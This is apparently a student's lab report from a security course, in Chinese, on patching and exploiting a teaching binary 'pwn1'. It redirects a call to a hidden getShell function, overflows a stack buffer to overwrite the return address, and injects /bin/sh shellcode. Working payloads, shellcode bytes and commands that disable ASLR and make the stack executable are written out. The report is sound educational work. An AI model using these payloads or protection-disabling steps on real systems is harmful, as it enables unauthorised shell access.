网络对抗实验一 PC平台逆向破解(5)M

实验一 PC平台逆向破解(5)M

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1) NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

(2) JNE:条件转移指令,如果不相等则跳转。(机器码:75)

(3) JE:条件转移指令,如果相等则跳转。(机器码:74)

(4) JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

(5) CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.掌握反汇编与十六进制编程器

(1) 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。

具体步骤如下:

输入命令:vi pwn1'看可执行文件内容,为ASCII码形式显示;

输入:%!xxd将显示模式切换为16进制模式;

进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。

(2) 之前在云班课《机械指令与汇编语言》一课中提到反汇编,于是进行如下操作对老师所提供的pwn1进行反汇编操作。

具体步骤如下:

输入命令:objdump –d pwn1

objdump是gcc工具,用来查看编译后目标文件的组成

3、能正确修改机器指令改变程序执行流程

(1)在完成了第二步的反汇编操作后,我们进行直接修改程序机器指令,改变程序执行流程的操作

(2)首先我们找到main主函数,在其中汇编语言里找到call 8048491<foo>
此条汇编指令为调用位于8048491处的foo函数,此条对应的机械指令为e8 d7 ff ff ff

  • 根据实验指导,我们需要让main函数中的call指令调用foo函数变为调用getshell函数,所以我们需要对其机械指令e8 d7 ff ff ff进行修改,e8在机械指令上有着跳转的含义

  • 在这里我们需要搞清楚一个概念,call指令是怎么从e8 d7 ff ff ff这条指令跳转到8048491这一地址的。

  • 因为d7 ff ff ff是补码,且求原码顺序要从右到左,因为都是f所以省略,d7的原码为29,故原码为-0X29。而call指令的跳转地址起始是下条指令的地址,在此处为80484ba。所以计算过程为80484ba- 0X29 = 8048491这样就搞明白了跳转的原理,我们就可以逆向操作使其跳转到我们需要的地址了。

  • 由图我们可以知道,getShell函数的地址为804847d,故地址数为80484ba-804847d=0X3d,0X3d的补码为C3,故指令应该改为C3 ff ff ff

    (3) 原理搞清楚之后我们就可以对文件进行修改,在此我将文件备份为pwn2进行下一步的操作。

(4)在vim pwn2后发现乱码,摁下Esc后输入:%!xxd,将其转换为16进制。

查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后再使用:%!xxd -r转换为原格式后保存并退出。

(5)使用objdump –d pwn2 对pwn2进行反汇编,检查call指令是否正常调用getShell

(6)我们运行一下pwn2,发现会得到shell提示符,证明我们的修改成功使得call指令跳转到了getshell这个函数,得到了我们想要的结果

4.能正确构造payload进行bof攻击

  • 首先我们要知道一个概念:call指令的分解

call指令可以分解为两步

push eip

jump 地址

当执行call指令时,先要将返回地址eip压入栈中,然后跳转到函数入口。eip保

存的是call下一条指令的地址,当调用结束后,程序通过这个地址进行返回。

  • 其次是缓冲区溢出的相关知识

    根据所学知识,我们知道foo函数留出了“0X1c”的缓冲区,main函数中eip中装入返回地址“80484ba”

    当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址。

    若使输入的数据的第33、34、35、36,这四个字节是getShell函数的地址,则就可以覆盖返回地址,触发getShell函数:

具体操作如下:

(1)验证猜想:首先输入gdb pwn1 ,输入‘r’运行,现在我们构造一个40位的字符串
“1111111122222222333333334444444412345678”观察结果。

(2)其次在gbd后面输入r(run),查看运行结果

我们看到出现了Segmentation fault 这样说明程序运行不了

(3)通过输入info r打印出程序寄存器的数值。在途中我们可以看到eip的值为0x34333231即我们之前输入的1234,所以确定了溢出的数值为第33到36字节,eip已经被覆盖。

(4)构造输入的字符串

  • 按照之前我们得知的结果,getShell函数的首地址应该是“0804847d”,现在我们只需输入一个36字节的字符串,并设计好33字节-36字节的数字即可,因为我们并不能通过键盘实现输入16进制,所以在这里我们使用“Perl”语言将地址通过输出重定向存储到一个文件中。

  • 我们在这里输入命令:

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > lyd

    接着输入xxd lyd,查看文件产生的地址数是否为“7d8404080”

(5)通过管道符|作为文件的输入,进行缓冲区溢出攻击

​ 我们看到shellcode又被调用出来了,实验成功。

5.注入Shellcode并执行

(1)准备一段Shellcode

​ shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell,所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

本次实验我们所需要的Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

(2) 攻击思路

​ Linux下有两种构造攻击的方法

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

使输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址

返回地址不再是修改为getshell的地址,而是shellcode的地址确定shellcode的位置,一般放在EIP之后

构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址

在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS模式

(3)准备工作
这里的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址

  • 输入execstack -s pwn1 //设置堆栈可执行

  • 输入execstack -q pwn1

  • 输入more /proc/sys/kernel/randomize_va_space

  • 输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

  • 输入more /proc/sys/kernel/randomize_va_space

(4)构造payload

  • 输入

    perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

    (注意这里最后一个字符不是\x0a,不然后续步骤无法完成)

  • 注入攻击buf

    输入 (cat input_shellcode;cat) | ./pwn1

  • 打开另一个终端,先找到pwn1的进程

  • 如图可以看出该进程的进程id为“50851”

  • 启动gdb,输入attach 50581

  • 输入disassemble foo,发现断在“080484ae”

  • 输入break *0x080484ae设置断点

  • 之后继续输入c继续!!!!!!这一步一定要在另一个终端摁下回车之前!!!!

  • 在另外一个终端按下回车

  • 我们看到虽然执行了命令,但是还是出现了错误,根据老师的博客来看,当前栈顶就在这,但是一push就把指令自己给覆盖的原因造成的,所以我们依然是可以通过这次操作找到我们需要更改的地址。

  • 回到gdb终端,输入info r esp,查看栈顶指针

  • 在图中我们可以观察到,1234的地址数为d4dc。在云班课的视频提到过,我们只是相差了4个字节,即应该将原本shellcode里的1234更改为d4dc+4=d4e0

  • 我们修改要注入的字符串,修改为:perl -e 'print "A" x 32;print "\xe0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 最后终于成功了!!!我们成功调出了shellcode!!!!

6.实验感悟

这次实验与之前的计算机相关实验还是有比较大的不同的,具体体现在之前的实验都是通过宏观的工具去进行,使用c语言等高级语言进行编程,而这次试验我深入了机器层面,通过缓冲区攻击等攻击措施达到了实验目标,也是第一个让我有一种“黑客”的感觉的一门实验。

而且这次实验对我而言是有一定难度的,虽然在别的课程上学习了一些关于汇编语言的相关知识,但是在这次的实验中我发现我学习的并不牢固,包括在数据结构课上学习的堆栈,其相关知识也是忘得一干二净,通过这次实验,通过对在云班课上的教学视频学习以及老师发的指导书等资料,我才对这些相关知识有了一定的掌握,不只是知其然而且知其所以然,更加深入了解了堆栈的溢出是怎么一回事,也提醒了我在以后的编程中更不能忽视程序的安全性,边界条件以及其他可能会危害用户的漏洞。知己知彼才能百战不殆,只有知道对手是怎么做的,是怎么将用户的电脑占为己有的,才能在真正遇到危险以及防范攻击时做出正确的应对方案。

这次实验也让我明白了,有些时候编程并不只是简单的实现功能,更多的应该是做好防护,以绝后患。总的来说,这次实验不仅让我加深了对相关知识的掌握程度,将课本上的抽象的知识付诸实践,而且让我反思我在之前编程的过程中有没有做好各种安全措施,将风险降到更低,让我受益良多。

posted @ 2022-03-22 13:37  李业达  阅读(201)  评论(0编辑  收藏  举报